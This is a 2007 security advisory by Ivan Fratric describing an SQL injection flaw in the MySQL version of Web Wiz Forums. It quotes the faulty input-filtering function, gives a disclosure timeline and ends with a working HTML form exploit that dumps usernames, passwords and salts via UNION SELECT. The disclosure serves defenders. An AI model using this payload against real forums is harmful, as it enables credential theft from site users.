Home / os / blackberry
webwiz805-sql.txt
Posted on 21 March 2007
There is a vulnerability in MySQL version of Web Wiz Forums, free ASP bulletin board system software, enabling SQL injection. The vulnerability is in the code used to filter string parameters prior to including them in the SQL queries: 'Format SQL Query funtion Private Function formatSQLInput(ByVal strInputEntry) 'Remove malisous charcters from sql strInputEntry = Replace(strInputEntry, "'", "\'", 1, -1, 1) strInputEntry = Replace(strInputEntry, """", "", 1, -1, 1) strInputEntry = Replace(strInputEntry, "'", "''", 1, -1, 1) strInputEntry = Replace(strInputEntry, "[", "[", 1, -1, 1) strInputEntry = Replace(strInputEntry, "]", "]", 1, -1, 1) strInputEntry = Replace(strInputEntry, "<", "<", 1, -1, 1) strInputEntry = Replace(strInputEntry, ">", ">", 1, -1, 1) 'Return formatSQLInput = strInputEntry End Function Assume the user enters a string containing the following sequence of characters: "' (a backslash, followed by a double quote followed by a single quote). The first line inside the function above would do nothing, the second line would remove the double quote, and after the third line the sequence would look like '' (a backslash followed by two single quotes). In MySQL the first two characters would be interpreted as an escaped single quote and the third character would terminate the quotes thus allowing injection of arbitrary SQL code placed after it. Only the MySQL version of the Web Wiz Forums is vulnerable to this as SQL Server and MS Access don't use backslash as an escape character. Below I include a small exploit that demonstrates this vulnerability. Mar 19th 2007: Vulnerability discovered Mar 20th 2007: Vendor contacted Mar 20th 2007: Vendor responded Mar 20th 2007: Vendor released fixed version (8.05a) Discovered and reported by Ivan Fratric http://ifsec.blogspot.com/ <form method="post" action="http://localhost/forum/pop_up_member_search.asp?"> <input type="hidden" name="name" id="name" value=""' union select concat(userusernamename,char(58),passpasswordword,char(58),sasaltlt) from tblautauthorhor /*" > <input type="submit" value="Go"> </form>